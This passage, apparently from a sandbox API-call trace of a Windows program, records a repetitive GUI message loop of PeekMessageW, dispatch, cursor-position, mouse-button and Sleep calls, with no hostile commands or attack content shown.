wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.624] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.625] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.626] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.627] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.638] GetForegroundWindow () returned 0x601e4 [0038.638] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.638] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=559, y=545)) returned 1 [0038.638] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0038.638] GetAsyncKeyState (vKey=1) returned 0 [0038.638] GetAsyncKeyState (vKey=2) returned 0 [0038.638] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.639] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.639] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.639] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.639] Sleep (dwMilliseconds=0xa) [0038.651] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.651] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.651] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.652] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.652] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.652] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.652] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.652] Sleep (dwMilliseconds=0xa) [0038.666] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.666] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.666] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.666] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.666] Sleep (dwMilliseconds=0xa) [0038.681] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.681] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.681] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.681] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.681] Sleep (dwMilliseconds=0xa) [0038.695] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.695] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.695] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0038.695] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0038.695] GetForegroundWindow () returned 0x601e4 [0038.695] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.695] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=559, y=545)) returned 1 [0038.695] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0038.695] GetAsyncKeyState (vKey=1) returned 0 [0038.695] GetAsyncKeyState (vKey=2) returned 0 [0038.695] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.696] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.696] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.696] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.696] Sleep (dwMilliseconds=0xa) [0038.711] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.711] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.711] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.711] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.711] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.711] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.711] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.711] Sleep (dwMilliseconds=0xa) [0038.732] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.732] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.732] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0038.732] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0038.732] GetForegroundWindow () returned 0x601e4 [0038.733] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.733] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=559, y=545)) returned 1 [0038.733] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0038.733] GetAsyncKeyState (vKey=1) returned 0 [0038.733] GetAsyncKeyState (vKey=2) returned 0 [0038.733] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.733] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.733] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.733] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.733] Sleep (dwMilliseconds=0xa) [0038.766] PeekMessageW (in: 